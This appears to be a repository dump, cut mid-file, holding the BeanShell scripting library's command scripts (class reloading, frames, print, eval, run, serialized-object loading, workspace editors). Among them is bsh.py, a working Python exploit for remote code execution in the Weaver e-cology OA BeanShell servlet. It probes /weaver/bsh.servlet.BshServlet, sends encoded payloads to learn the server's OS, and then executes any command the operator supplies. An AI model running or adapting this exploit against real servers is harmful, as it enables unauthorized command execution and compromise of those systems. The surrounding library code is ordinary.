| browser.setFrame( frame ); 37 | frame.getContentPane().add("Center", browser); 38 | frame.pack(); 39 | 40 | if ( inDesktop ) 41 | bsh.system.desktop.addInternalFrame(frame); 42 | 43 | frame.show(); 44 | frame.selected=true; 45 | 46 | return browser; 47 | } 48 | 49 | -------------------------------------------------------------------------------- /commands/reloadClasses.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Reload the specified class, package name, or all classes if no name is 3 | given. e.g. 4 |

    5 | 6 |

     7 |     reloadClasses();
     8 |     reloadClasses("mypackage.*");
     9 |     reloadClasses(".*")  // reload unpackaged classes
    10 |     reloadClasses("mypackage.MyClass") 
    11 | 	
    12 |

    13 | 14 | See "Class Path Management" 15 | 16 | @method void reloadClasses( [ package name ] ) 17 | */ 18 | 19 | bsh.help.reloadClasses= 20 | "usage: reloadClasses( String class | String package | String [] classes )"; 21 | 22 | import bsh.ClassPathException; 23 | 24 | void reloadClasses( item ) 25 | { 26 | this.bcm = this.caller.namespace.getClassManager(); 27 | 28 | try { 29 | if ( item instanceof String [] ) 30 | bcm.reloadClasses( item ); 31 | else { 32 | this.name = item; 33 | 34 | if ( name.endsWith(".*" ) ) { 35 | if ( name.equals(".*" ) ) 36 | this.pack = ""; 37 | else 38 | this.pack = name.substring( 0, name.length()-2 ); 39 | 40 | bcm.reloadPackage( pack ); 41 | } else 42 | bcm.reloadClasses( new String[] { name } ); 43 | } 44 | } catch ( ClassPathException e ) { 45 | error( e.getMessage() ); 46 | } 47 | } 48 | 49 | /** 50 | Reload all classes 51 | */ 52 | void reloadClasses() 53 | { 54 | this.caller.namespace.getClassManager().reloadAllClasses(); 55 | } 56 | -------------------------------------------------------------------------------- /commands/which.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Use classpath mapping to determine the source of the specified class 3 | file. (Like the Unix which command for executables). 4 |

    5 | 6 | This command maps the entire classpath and prints all of the occurrences 7 | of the class. If you just want to find the first occurrence in the 8 | classpath (the one that will be used by Java) you can also get it by 9 | printing the URL of the resource. e.g.: 10 |

    11 | 12 |

    13 |         print( getResource("/com/foo/MyClass.class") );
    14 | 		// Same as...
    15 |         // System.out.println(
    16 |         //    getClass().getResourceAsStream("/com/foo/MyClass.class" ) );
    17 |     
    18 |

    19 | 20 | Note: This is all a lie! This command is broken and only reports the 21 | currently first occurence! To be fixed! 22 |

    23 | 24 | @method which( classIdentifier | string | class ) 25 | */ 26 | 27 | bsh.help.which= "usage: which( classIdentifier | string | class )"; 28 | 29 | import bsh.ClassIdentifier; 30 | 31 | which( clas ) 32 | { 33 | // make the class into a name 34 | Class clas; 35 | if ( clas instanceof ClassIdentifier ) 36 | clas = this.namespace.identifierToClass( clas ); 37 | if ( clas instanceof Class ) 38 | clas = clas.getName(); 39 | String className = clas; 40 | 41 | cp = this.caller.namespace.getClassManager().getClassPath(); 42 | print ( cp.getClassSource( className ) ); 43 | } 44 | 45 | -------------------------------------------------------------------------------- /commands/frame.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Show component in a frame, centered and packed, handling disposal with 3 | the close button. 4 |

    5 | 6 | Display the component, centered and packed, in a Frame, JFrame, or 7 | JInternalFrame. Returns the frame. If the GUI desktop is running then a 8 | JInternaFrame will be used and automatically added to the desktop. 9 | Otherwise if Swing is available a top level JFrame will be created. 10 | Otherwise a plain AWT Frame will be created. 11 | 12 | @method Frame | JFrame | JInternalFrame frame( Component component ) 13 | 14 | */ 15 | bsh.help.frame = "usage: frame( Component component )"; 16 | 17 | import java.awt.*; 18 | import bsh.Capabilities; 19 | 20 | frame( Component comp ) 21 | { 22 | // Ignore unhandled method invocations from listeners. 23 | invoke( method, args ) { } 24 | 25 | windowClosing( event ) { 26 | frame.dispose(); 27 | } 28 | 29 | // if the desktop is there make an internal frame 30 | if ( bsh.system.desktop != void ) { 31 | this.frame = bsh.system.desktop.makeInternalFrame("frame"); 32 | frame.setClosable(true); 33 | frame.getContentPane().add( comp, "Center" ); 34 | frame.pack(); // must pack before adding to desktop? 35 | bsh.system.desktop.addInternalFrame( frame ); 36 | } else { 37 | // make an external JFrame or Frame 38 | if ( Capabilities.haveSwing() ) { 39 | this.frame = new javax.swing.JFrame(); 40 | frame.getContentPane().add( comp, "Center" ); 41 | } else { 42 | this.frame = new Frame(); 43 | frame.add( comp, "Center" ); 44 | } 45 | 46 | frame.addWindowListener(this); 47 | frame.pack(); 48 | } 49 | 50 | frame.show(); 51 | return frame; 52 | } 53 | 54 | -------------------------------------------------------------------------------- /commands/print.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Print the string value of the argument, which may be of any type. 3 | If beanshell is running interactively, the output will always go to the 4 | command line, otherwise it will go to System.out. 5 |

    6 | 7 | Most often the printed value of an object will simply be the Java 8 | toString() of the object. However if the argument is an array the contents 9 | of the array will be (recursively) listed in a verbose way. 10 |

    11 | 12 | Note that you are always free to use System.out.println() 13 | instead of print(). 14 | */ 15 | bsh.help.print = "usage: print( value )"; 16 | import bsh.CollectionManager; 17 | import bsh.StringUtil; 18 | import bsh.Primitive; 19 | 20 | void print( arg ) 21 | { 22 | if ( arg == null ) 23 | arg = "null"; 24 | 25 | if ( !(arg instanceof Primitive) 26 | && !(arg instanceof bsh.ClassIdentifier ) 27 | && arg.getClass().isArray() ) 28 | { 29 | print( StringUtil.normalizeClassName(arg.getClass()) + ": {"); 30 | for(int i=0; i 5 | If the argument is a string it is considered to be a class name. If the 6 | argument is an object, the class of the object is used. If the arg is a 7 | class, the class is used. If the argument is a class identifier, the class 8 | identified by the class identifier will be used. e.g. If the argument is 9 | the empty string an error will be printed. 10 |

    11 |

    12 | 	// equivalent
    13 | 	javap( java.util.Date ); // class identifier
    14 | 	javap( java.util.Date.class ); // class
    15 | 	javap( "java.util.Date" ); // String name of class
    16 | 	javap( new java.util.Date() ); // instance of class
    17 | 	
    18 | 19 | @method void javap( String | Object | Class | ClassIdentifier ) 20 | */ 21 | 22 | bsh.help.javap= "usage: javap( value )"; 23 | 24 | import bsh.ClassIdentifier; 25 | import java.lang.reflect.Modifier; 26 | 27 | javap( Object o ) 28 | { 29 | Class clas; 30 | if ( o instanceof ClassIdentifier ) 31 | clas = this.caller.namespace.identifierToClass(o); 32 | else if ( o instanceof String ) 33 | { 34 | if ( o.length() < 1 ) { 35 | error("javap: Empty class name."); 36 | return; 37 | } 38 | clas = this.caller.namespace.getClass((String)o); 39 | } else if ( o instanceof Class ) 40 | clas = o; 41 | else 42 | clas = o.getClass(); 43 | 44 | print( "Class "+clas+" extends " +clas.getSuperclass() ); 45 | 46 | this.dmethods=clas.getDeclaredMethods(); 47 | //print("------------- Methods ----------------"); 48 | for(int i=0; i 5 | 6 | Evaluate a string as if it were written directly in the current scope, 7 | with side effects in the current scope. 8 |

    9 | e.g. 10 |

    11 |     a=5;
    12 |     eval("b=a*2");
    13 |     print(b); // 10
    14 |     
    15 |

    16 | 17 | eval() acts just like invoked text except that any exceptions generated 18 | by the code are captured in a bsh.EvalError. This includes ParseException 19 | for syntactic errors and TargetError for exceptions thrown by the evaluated 20 | code. 21 |

    22 | e.g. 23 |

    24 |     try {
    25 |         eval("foo>>><>M>JK$LJLK$");
    26 |     } catch ( EvalError e ) {
    27 |         // ParseException caught here
    28 |     }
    29 | 
    30 |     try {
    31 |         eval("(Integer)true");  // illegal cast
    32 |     } catch ( EvalError e ) {
    33 |         // TargetException caught here
    34 |         print( e.getTarget() )  // prints ClassCastException
    35 |     }
    36 |     
    37 |

    38 | 39 | If you want eval() to throw target exceptions directly, without wrapping 40 | them, you can simply redefine own eval like so: 41 | 42 |

    43 |     myEval( String expression ) {
    44 |         try {
    45 |             return eval( expression );
    46 |         } catch ( TargetError e ) {
    47 |             throw e.getTarget();
    48 |         }
    49 |     }
    50 |     
    51 |

    52 | 53 | Here is a cute example of how to use eval to implement a dynamic cast. 54 | i.e. to cast a script to an arbitrary type by name at run-time where the 55 | type is not known when you are writing the script. In this case the type 56 | is in the variable interfaceType. 57 |

    58 |     reference = eval( "("+interfaceType+")this" );
    59 | 	
    60 | 61 |

    62 | Returns the value of the expression. 63 |

    64 | Throws bsh.EvalError on error 65 |

    66 | @return the value of the expression. 67 | @throws bsh.EvalError on error 68 | */ 69 | 70 | bsh.help.eval = "usage: eval( String expression )"; 71 | 72 | Object eval( String expression ) { 73 | return this.interpreter.eval( expression, this.caller.namespace ); 74 | } 75 | 76 | -------------------------------------------------------------------------------- /commands/fontMenu.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | * Creates a font menu for use with the workspace and workspace editors 3 | * 4 | * @return a font menu 5 | * 6 | * @author Daniel Leuck 7 | */ 8 | fontMenu(component) { 9 | if ( bsh.system.desktop == void ) { 10 | print("fontMenu() only works with the bsh desktop..."); 11 | return; 12 | } 13 | 14 | JMenu fontMenu = new JMenu("Font"); 15 | 16 | sizeListener() { 17 | actionPerformed(ae) { 18 | setFont(component, Integer.parseInt(ae.actionCommand)); 19 | } 20 | 21 | return this; 22 | } 23 | this.sizeListener=sizeListener(); 24 | 25 | 26 | this.boldMenuItem = new JCheckBoxMenuItem("Bold"); 27 | this.italicMenuItem = new JCheckBoxMenuItem("Italic"); 28 | 29 | styleListener() { 30 | actionPerformed(ae) { 31 | setFont(component, null, ((boldMenuItem.selected) ? Font.BOLD : 0) | 32 | ((italicMenuItem.selected) ? Font.ITALIC : 0), -1); 33 | } 34 | 35 | return this; 36 | } 37 | this.styleListener=styleListener(); 38 | 39 | familyListener() { 40 | actionPerformed(ae) { 41 | setFont(component, ae.actionCommand, -1, -1); 42 | } 43 | 44 | return this; 45 | } 46 | this.familyListener=familyListener(); 47 | 48 | JMenu sizeMenu = new JMenu("Size"); 49 | for(int i:new int[] {9,10,12,14,16,20,24}) 50 | sizeMenu.add(new JMenuItem(""+i)).addActionListener(sizeListener); 51 | fontMenu.add(sizeMenu); 52 | 53 | JMenu styleMenu = new JMenu("Style"); 54 | //styleMenu.add(new JMenuItem("Plain")).addActionListener(this); 55 | styleMenu.add(boldMenuItem).addActionListener(styleListener); 56 | styleMenu.add(italicMenuItem).addActionListener(styleListener); 57 | fontMenu.add(styleMenu); 58 | 59 | fontMenu.addSeparator(); 60 | 61 | for(var s:new String[] {"SansSerif","Monospaced","Serif","LucidaSans"}) 62 | fontMenu.add(this.mi=new JMenuItem(s)).addActionListener(familyListener); 63 | 64 | fontMenu.addSeparator(); 65 | 66 | actionPerformed(ae) { 67 | if ( bsh.system.fonts != void ) 68 | { 69 | String family = (String)JOptionPane.showInputDialog(component, 70 | "Select a font", "Fonts", JOptionPane.QUESTION_MESSAGE, 71 | null, bsh.system.fonts, component.font.family); 72 | setFont(component, family, -1, -1); 73 | } 74 | } 75 | 76 | fontMenu.add(new JMenuItem("More...")).addActionListener(this); 77 | 78 | return fontMenu; 79 | } 80 | -------------------------------------------------------------------------------- /commands/run.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Run a command in its own in its own private global namespace, with its 3 | own class manager and interpeter context. (kind of like unix "chroot" for 4 | a namespace). 5 | The root bsh system object is extended (with the extend() command) and 6 | made visible here, so that general system info (e.g. current working 7 | directory) is effectively inherited. Because the root bsh object is 8 | extended it is effectively read only / copy on write... 9 | e.g. you can change directories in the child context, do imports, change 10 | the classpath, etc. and it will not affect the calling context. 11 |

    12 | 13 | run() is like source() except that it runs the command in a new, 14 | subordinate and prune()'d namespace. So it's like "running" a command 15 | instead of "sourcing" it. run() teturns the object context in which the 16 | command was run. 17 |

    18 | 19 | Returns the object context so that you can gather results. 20 |

    21 | Parameter runArgument an argument passed to the child context under the 22 | name runArgument. e.g. you might pass in the calling This context 23 | from which to draw variables, etc. 24 |

    25 | 26 | @return Returns the object context so that you can gather results. 27 | @param runArgument an argument passed to the child context under the 28 | name runArgument. e.g. you might pass in the calling This context 29 | from which to draw variables, etc. 30 | */ 31 | 32 | bsh.help.run= "usage: Thread run( filename )"; 33 | 34 | run( String filename, Object runArgument ) 35 | { 36 | // Our local namespace is going to be the new root (global) 37 | // make local copies of the system stuff. 38 | // 39 | // Extend the root system object 40 | // this is problematic... probably need more here... 41 | this.bsh=extend(global.bsh); 42 | this.bsh.help=extend(bsh.help); 43 | 44 | // save the classpath before pruning 45 | this.cp = this.caller.namespace.getClassManager() 46 | .getClassPath().getUserClassPathComponents(); 47 | 48 | // Cut us off... make us the root (global) namespace for this command 49 | // Prune() will also create a new class manager for us. 50 | this.namespace.prune(); 51 | 52 | // Inherit user classpath 53 | this.namespace.getClassManager().setClassPath( cp ); 54 | 55 | this.interpreter.source( filename, this.namespace ); 56 | return this; 57 | } 58 | 59 | run( String filename ) { 60 | run( filename, null ); 61 | } 62 | -------------------------------------------------------------------------------- /commands/thinBorder.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | * A one pixel wide bevel border. This border works for buttons (with optional 3 | * rollover) and other components 4 | * 5 | * @author Daniel Leuck 6 | */ 7 | import javax.swing.border.*; 8 | 9 | Insets INSETS = new Insets(1,1,1,1); 10 | 11 | public thinBorder() { return thinBorder(null, null, false); } 12 | 13 | public thinBorder(Color lightColor, Color darkColor) { 14 | return thinBorder(lightColor, darkColor, false); 15 | } 16 | 17 | public thinBorder(Color lightColor, Color darkColor, boolean rollOver) 18 | { 19 | /** 20 | * Draw a 1 pixel border given a color for topLeft and bottomRight. 21 | */ 22 | drawBorder(g, x, y, width, height, topLeft, bottomRight) { 23 | //Color oldColor = g.color; 24 | Color oldColor = g.getColor(); 25 | 26 | //g.color=topLeft; 27 | g.setColor(topLeft); 28 | g.drawLine(x, y, x+width-1, y); 29 | g.drawLine(x, y, x, y+height-1); 30 | 31 | //g.color=bottomRight; 32 | g.setColor(bottomRight); 33 | g.drawLine(x+width-1, y, x+width-1, y+height-1); 34 | g.drawLine(x, y+height-1, x+width-1, y+height-1); 35 | 36 | //g.color=oldColor; 37 | g.setColor(oldColor); 38 | } 39 | 40 | public void paintBorder(c, g, x, y, width, height) 41 | { 42 | // Access to the background color is protected on the Mac for 43 | // some reason... workaround 44 | try { 45 | Color bgColor = c.background; 46 | 47 | Color dark = (darkColor==null) ? bgColor.darker().darker() : 48 | darkColor; 49 | Color light = (lightColor==null) ? bgColor.brighter() : 50 | lightColor; 51 | 52 | if(c instanceof AbstractButton) { 53 | if(c.rolloverEnabled && !c.model.rollover && c.opaque) { 54 | drawBorder(g, x, y, width, height, bgColor, bgColor); 55 | } else { 56 | if(c.model.isPressed()) 57 | drawBorder(g, x, y, width, height, dark, light); 58 | else 59 | drawBorder(g, x, y, width, height, light, dark); 60 | } 61 | } else { 62 | drawBorder(g, x, y, width, height, light, dark); 63 | } 64 | } catch ( SecurityException e ) { } 65 | } 66 | 67 | /** 68 | * Returns the insets of the border. 69 | * 70 | * @param c the component for which this border insets value applies 71 | */ 72 | public Insets getBorderInsets(Component c) { return INSETS; } 73 | 74 | /** 75 | * Always returns false 76 | */ 77 | public boolean isBorderOpaque() { return false; } 78 | 79 | return this; 80 | } 81 | -------------------------------------------------------------------------------- /commands/load.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | Load a serialized Java object from filename. Returns the object. 3 | */ 4 | 5 | bsh.help.load = "usage: load(filename)"; 6 | 7 | setAccessibility(true); 8 | 9 | import bsh.BshClassManager; 10 | import java.io.*; 11 | import java.lang.reflect.Proxy; 12 | 13 | import bsh.Capabilities; 14 | 15 | if ( Capabilities.classExists("bsh.ClassGeneratorImpl") ) 16 | { 17 | public class BshObjectInputStream extends ObjectInputStream 18 | { 19 | BshClassManager bcm; 20 | 21 | public BshObjectInputStream( BshClassManager bcm, InputStream in) 22 | throws IOException, StreamCorruptedException 23 | { 24 | super(in); 25 | this.bcm = bcm; 26 | } 27 | 28 | protected Class resolveClass( ObjectStreamClass clas ) 29 | throws IOException, ClassNotFoundException 30 | { 31 | // ClassLoader loader = Thread.currentThread().getContextClassLoader(); 32 | // return Class.forName( clas.getName(), false, loader ); 33 | Class c = null; 34 | try { 35 | c = super.resolveClass( clas ); 36 | } catch ( ClassNotFoundException e ) { } 37 | if ( c != null ) 38 | return c; 39 | c = bcm.classForName( clas.getName() ); 40 | if ( c != null ) 41 | return c; 42 | throw new ClassNotFoundException( "bcm not found: "+clas.getName() ); 43 | } 44 | 45 | /* 46 | protected Class resolveProxyClass( java.lang.String[] interfaces ) 47 | throws IOException, ClassNotFoundException 48 | { 49 | return super.resolveProxyClass( interfaces ); 50 | 51 | // ClassLoader loader = Thread.currentThread().getContextClassLoader(); 52 | // 53 | // Class[] classes = new Class[interfaces.length]; 54 | // 55 | // for (int i = 0; i < interfaces.length; i++) 56 | // classes[i] = Class.forName(interfaces[i], false, loader); 57 | // 58 | // try { 59 | // return Proxy.getProxyClass(loader, classes); 60 | // } catch (IllegalArgumentException e) { 61 | // throw new ClassNotFoundException("Proxy class not found", e); 62 | // } 63 | } 64 | */ 65 | } 66 | } 67 | 68 | Object load( String filename ) 69 | { 70 | this.file = pathToFile( filename ); 71 | 72 | Object obj; 73 | FileInputStream in = new FileInputStream( file ); 74 | javap( BshObjectInputStream ); 75 | ObjectInputStream oin; 76 | if ( BshObjectInputStream != void ) 77 | oin = new BshObjectInputStream( this.namespace.getClassManager(), in ); 78 | else 79 | oin = new ObjectInputStream( in ); 80 | obj = oin.readObject(); 81 | oin.close(); 82 | 83 | // bind bsh objects into the caller's namespace 84 | if ( obj instanceof bsh.This ) 85 | bind( obj, this.caller.namespace ); 86 | 87 | return obj; 88 | } 89 | -------------------------------------------------------------------------------- /bsh.py: -------------------------------------------------------------------------------- 1 | # coding=utf-8 2 | 3 | import requests 4 | import sys 5 | import re 6 | 7 | banner = ''' 8 | ____ _____ _ _ _ _____ _____ ______ 9 | | _ \ / ____| | | | | | __ \ / ____| ____| 10 | | |_) | ___ __ _ _ __ | (___ | |__ ___| | | | |__) | | | |__ 11 | | _ < / _ \/ _` | '_ \ \___ \| '_ \ / _ \ | | | _ /| | | __| 12 | | |_) | __/ (_| | | | |____) | | | | __/ | | | | \ \| |____| |____ 13 | |____/ \___|\__,_|_| |_|_____/|_| |_|\___|_|_| |_| \_\\_____|______| 14 | 15 | 泛微e-cology OA Beanshell组件远程代码执行 16 | 17 | Python By Jas502n 18 | 19 | Usage: python bsh.py http://x.x.x.x/ command 20 | 21 | ''' 22 | print banner 23 | 24 | def vuln_url(url,cmd): 25 | if url[-1] == '/': 26 | vuln_url = url + "weaver/bsh.servlet.BshServlet" 27 | else: 28 | vuln_url = url + "/weaver/bsh.servlet.BshServlet" 29 | r = requests.get(vuln_url) 30 | if r.status_code ==200 and 'BeanShell Test Servlet' in r.text: 31 | print vuln_url + " >>>Exit!" 32 | print 33 | get_os(vuln_url) 34 | # exec_command(vuln_url,cmd) 35 | else: 36 | print "No Exit!" 37 | 38 | def get_os(vuln_url): 39 | vuln_url=vuln_url 40 | headers = { 41 | 'User-Agent': "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:55.0) Gecko/20100101 Firefox/55.0", 42 | 'Content-Type': "application/x-www-form-urlencoded", 43 | 'Content-Length': "43", 44 | 'Referer': "%s"%vuln_url, 45 | 'Connection': "close" 46 | } 47 | payload = r'''bsh.script=print(Interpreter.VERSION);%53%74%72%69%6e%67%20%4f%53%20%3d%20%53%79%73%74%65%6d%2e%67%65%74%50%72%6f%70%65%72%74%69%65%73%28%29%2e%67%65%74%50%72%6f%70%65%72%74%79%28%22%6f%73%2e%6e%61%6d%65%22%29%3b%0d%0a%70%72%69%6e%74%28%4f%53%29%3bpwd()''' 48 | r =requests.post(url=vuln_url,data=payload,headers=headers) 49 | if r.status_code==200 and r'getProperty' in r.content: 50 | # print "Exec Command Successful!\n" 51 | m = re.compile(r'\n

    (.*)
    \n',re.DOTALL) 52 | result = m.findall(r.content)[0] 53 | print ">>>>>>>>>>>>>>OS NAME>>>>>>>>>>>>>>>>\n" + result + ">>>>>>>>>>>>>>OS NAME>>>>>>>>>>>>>>>>\n" 54 | 55 | if "Windows" in result: 56 | payload = r'''bsh.script=%5Cu0065%5Cu0078%5Cu0065%5Cu0063%28%22''' + 'cmd.exe /c'+ cmd + r"%22%29%3B" 57 | else: 58 | payload = r'''bsh.script=%5Cu0065%5Cu0078%5Cu0065%5Cu0063%28%22''' + cmd + r"%22%29%3B" 59 | r2 = r =requests.post(url=vuln_url,data=payload,headers=headers) 60 | if r.status_code==200 and cmd in r.content: 61 | print "Exec Command Successful!\n" 62 | m = re.compile(r'\n
    (.*)
    \n',re.DOTALL) 63 | result = m.findall(r.content)[0] 64 | print result 65 | else: 66 | print "Exec Command Fail!" 67 | print r.content 68 | else: 69 | print "Exec Command Fail!" 70 | print r.content 71 | 72 | if __name__ == '__main__': 73 | 1 74 | if len(sys.argv) != 3: 75 | sys.exit("Usage: python %s http://127.0.0.1:8080/ CMD\n\n\n" % sys.argv[0]) 76 | else: 77 | url = sys.argv[1] 78 | cmd = sys.argv[2] 79 | vuln_url(url,cmd) 80 | # filename = sys.argv[1] 81 | # file = open("%s"% filename).readlines() 82 | # for i in file: 83 | # ip = i.split('\n')[0] 84 | # vuln_url(url,cmd) 85 | 86 | -------------------------------------------------------------------------------- /commands/workspaceEditor.bsh: -------------------------------------------------------------------------------- 1 | 2 | /** 3 | * Make a new workspaceEditor associated with a workspace and place it on the 4 | * desktop. 5 | * 6 | * @method workspaceEditor( bsh.Interpreter parent, String name ) 7 | * 8 | * @author Pat Niemeyer 9 | * @author Daniel Leuck 10 | */ 11 | 12 | import java.awt.Insets; 13 | import bsh.Interpreter; 14 | 15 | workspaceEditor(Interpreter parent, String name ) 16 | { 17 | 18 | if ( bsh.system.desktop == void ) { 19 | print("This only works with the bsh desktop..."); 20 | return; 21 | } 22 | 23 | this.textarea = new JTextArea(15,40); 24 | textarea.setLineWrap(true); 25 | textarea.setWrapStyleWord(true); 26 | textarea.setTabSize(4); 27 | textarea.setMargin( new Insets(5,5,5,5) ); 28 | textarea.font=new Font("Monospaced", 0, 12); 29 | 30 | // probably should overload desktop makeInternalFrame 31 | this.frame = 32 | new JInternalFrame("Editor for: "+name, true, true, true, true ); 33 | frame.frameIcon=bsh.system.icons.script; 34 | frame.getContentPane().add( new JScrollPane(textarea), "Center"); 35 | frame.setVisible( true ); 36 | 37 | open() 38 | { 39 | this.chooser = new JFileChooser(); 40 | chooser.setCurrentDirectory( pathToFile(bsh.cwd) ); 41 | this.returnVal = chooser.showOpenDialog( bsh.system.desktop.pane ); 42 | if (returnVal == JFileChooser.APPROVE_OPTION) { 43 | this.file = chooser.getSelectedFile(); 44 | this.reader=new FileReader( file ); 45 | this.ca=new char [file.length()]; 46 | reader.read(ca); 47 | textarea.setText( new String(ca) ); 48 | } 49 | } 50 | 51 | save() 52 | { 53 | this.chooser = new JFileChooser(); 54 | chooser.setCurrentDirectory( pathToFile(bsh.cwd) ); 55 | this.returnVal = chooser.showSaveDialog( bsh.system.desktop.pane ); 56 | if (returnVal == JFileChooser.APPROVE_OPTION) { 57 | this.file = chooser.getSelectedFile(); 58 | this.writer=new FileWriter( file ); 59 | writer.write( textarea.getText().toCharArray() ); 60 | writer.close(); 61 | } 62 | } 63 | 64 | run() 65 | { 66 | this.interpreter = makeWorkspace( "Run Output: " +name); 67 | // should make this new namespace... look at run() command 68 | interpreter.eval( textarea.getText() ); 69 | print("done run..."); 70 | } 71 | 72 | actionPerformed(e) 73 | { 74 | this.com = e.getActionCommand(); 75 | if ( com.equals("Close") ) 76 | frame.setClosed(true); 77 | else if ( com.equals("New") ) 78 | textarea.setText(""); 79 | else if ( com.equals("Open") ) 80 | open(); 81 | else if ( com.equals("Save") ) 82 | save(); 83 | else if ( com.equals("Eval in Workspace") ) 84 | // eval in parent global namespace 85 | parent.eval( textarea.getText() ); 86 | else if ( com.equals("Run in new Workspace") ) 87 | run(); 88 | } 89 | 90 | this.menubar = new JMenuBar(); 91 | this.menu = new JMenu("File"); 92 | this.mi = new JMenuItem("New"); 93 | mi.addActionListener(this); 94 | menu.add(mi); 95 | mi = new JMenuItem("Open"); 96 | mi.addActionListener(this); 97 | menu.add(mi); 98 | mi = new JMenuItem("Save"); 99 | mi.addActionListener(this); 100 | menu.add(mi); 101 | mi = new JMenuItem("Close"); 102 | mi.addActionListener(this); 103 | menu.add(mi); 104 | menubar.add(menu); 105 | 106 | menu = new JMenu("Evaluate"); 107 | mi = new JMenuItem("Eval in Workspace"); 108 | mi.addActionListener(this); 109 | menu.add(mi); 110 | mi = new JMenuItem("Run in new Workspace"); 111 | mi.addActionListener(this); 112 | menu.add(mi); 113 | menubar.add(menu); 114 | 115 | menu = fontMenu( textarea ); 116 | menubar.add(menu); 117 | 118 | frame.setMenuBar( menubar ); 119 | 120 | frame.pack(); 121 | bsh.system.desktop.addInternalFrame( frame ); 122 | frame.selected=true; 123 | return frame; 124 | } 125 | -------------------------------------------------------------------------------- /commands/makeWorkspace.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | * Creates a JConsole in a JInternalFrame and adds it to the desktop 3 | * 4 | * @return this (the workspace scripted object for allowing access to the 5 | * frame, interpreter, etc.) 6 | * 7 | * @author Pat Niemeyer 8 | * @author Daniel Leuck (bug fixes) 9 | */ 10 | 11 | import javax.swing.*; 12 | import bsh.Interpreter; 13 | import bsh.BshClassManager; 14 | import bsh.ClassPathException; 15 | import bsh.util.JConsole; 16 | import bsh.util.NameCompletionTable; 17 | 18 | makeWorkspace( String name ) 19 | { 20 | if ( bsh.system.desktop == void ) { 21 | print("No desktop..."); 22 | return; 23 | } 24 | 25 | this.console = new JConsole(); 26 | this.name="Bsh Workspace: "+name; 27 | 28 | this.interpreter = new Interpreter( console ); 29 | 30 | // provide name completion for console, name source is global namespace 31 | // move this into JConsole? 32 | 33 | // Access to read classpath is protected 34 | try { 35 | this.nct = new NameCompletionTable(); 36 | nct.add( interpreter.getNameSpace() ); 37 | try { 38 | this.bcm = this.caller.namespace.getClassManager(); 39 | if ( bcm != null ) { 40 | classNamesSource = bcm.getClassPath(); 41 | nct.add( classNamesSource ); 42 | } 43 | } catch ( ClassPathException e ) { 44 | error("classpath exception in name compl:"+e); 45 | } 46 | console.setNameCompletion( nct ); 47 | // end setup name completion 48 | } catch ( SecurityException e ) { } 49 | 50 | // for convenience and backwards compatability 51 | interpreter.set( "bsh.desktop", bsh.system.desktop ); 52 | 53 | this.frame = bsh.system.desktop.makeInternalFrame( name ); 54 | frame.frameIcon=bsh.system.icons.workspace; 55 | 56 | /* 57 | Notes: Careful not to print anything before returning sys io... 58 | console is now gone. 59 | */ 60 | internalFrameClosing( e ) { 61 | if ( haveSysIO ) 62 | returnSysIO(); 63 | } 64 | internalFrameActivated(ife) {} 65 | internalFrameDeactivated(ife) {} 66 | internalFrameClosed(ife) {} 67 | internalFrameOpened(ife) {} 68 | internalFrameIconified(ife) {} 69 | internalFrameDeiconified(ife) {} 70 | 71 | frame.addInternalFrameListener(this); 72 | 73 | actionPerformed( e ) 74 | { 75 | this.com = e.getActionCommand(); 76 | if ( com.equals("Workspace Editor") ) 77 | workspaceEditor( interpreter, name ); 78 | else if ( com.equals("Capture System in/out/err") ) 79 | captureSysIO(); 80 | else if ( com.equals("Close") ) { 81 | frame.setClosed(true); 82 | } 83 | } 84 | 85 | this.menubar = new JMenuBar(); 86 | this.menu=new JMenu("File"); 87 | this.mi=new JMenuItem("Workspace Editor"); 88 | mi.addActionListener(this); 89 | menu.add(mi); 90 | mi=new JMenuItem("Capture System in/out/err"); 91 | mi.addActionListener(this); 92 | menu.add(mi); 93 | mi=new JMenuItem("Close"); 94 | mi.addActionListener(this); 95 | menu.add(mi); 96 | menubar.add(menu); 97 | 98 | menu = fontMenu(console); 99 | menubar.add(menu); 100 | 101 | frame.setMenuBar(menubar); 102 | 103 | frame.getContentPane().add("Center", console); 104 | //frame.pack(); 105 | this.thread = new Thread( interpreter ); 106 | thread.start(); 107 | 108 | frame.setBounds(5,5,600,300); 109 | // cascade windows? 110 | //off=bsh.system.desktop.windowCount*10; 111 | //frame.setLocation( off, off ); 112 | //frame.validate(); 113 | bsh.system.desktop.addInternalFrame( frame ); 114 | frame.toFront(); 115 | frame.setSelected(true); 116 | 117 | this.haveSysIO=false; 118 | this.sysIn = System.in; 119 | this.sysOut = System.out; 120 | this.sysErr = System.err; 121 | 122 | captureSysIO() { 123 | super.haveSysIO = true; // old scoping rules 124 | System.setIn( console.getInputStream() ); 125 | System.setOut( console.getOut() ); 126 | System.setErr( console.getErr() ); 127 | } 128 | 129 | returnSysIO() { 130 | super.haveSysIO = false; // old scoping rules 131 | System.setIn( sysIn ); 132 | System.setOut( sysOut ); 133 | System.setErr( sysErr ); 134 | } 135 | 136 | return this; 137 | } 138 | 139 | -------------------------------------------------------------------------------- /test.java: -------------------------------------------------------------------------------- 1 | import java.io.BufferedReader; 2 | import java.io.InputStream; 3 | import java.io.InputStreamReader; 4 | import java.net.InetAddress; 5 | import java.net.NetworkInterface; 6 | import java.util.ArrayList; 7 | import java.util.Formatter; 8 | import java.util.List; 9 | import java.util.Locale; 10 | import java.util.Map; 11 | import java.util.Properties; 12 | 13 | public class test { 14 | //通过截取cmd流方式得到计算机的配置信息(不好) 15 | public static List getIpAddress() { 16 | Process p = null; 17 | List address = new ArrayList(); 18 | try { 19 | p = new ProcessBuilder("ipconfig", "/all").start(); 20 | } catch (Exception e) { 21 | return address; 22 | } 23 | StringBuffer sb = new StringBuffer(); 24 | //读取进程输出值 25 | InputStream inputStream = p.getInputStream(); 26 | BufferedReader br = new BufferedReader(new InputStreamReader(inputStream)); 27 | String s = ""; 28 | try { 29 | while ((s = br.readLine()) != null) { 30 | sb.append(s + "\n"); 31 | } 32 | } catch (Exception e) { 33 | e.printStackTrace(); 34 | } finally { 35 | try { 36 | inputStream.close(); 37 | } catch (Exception e) { 38 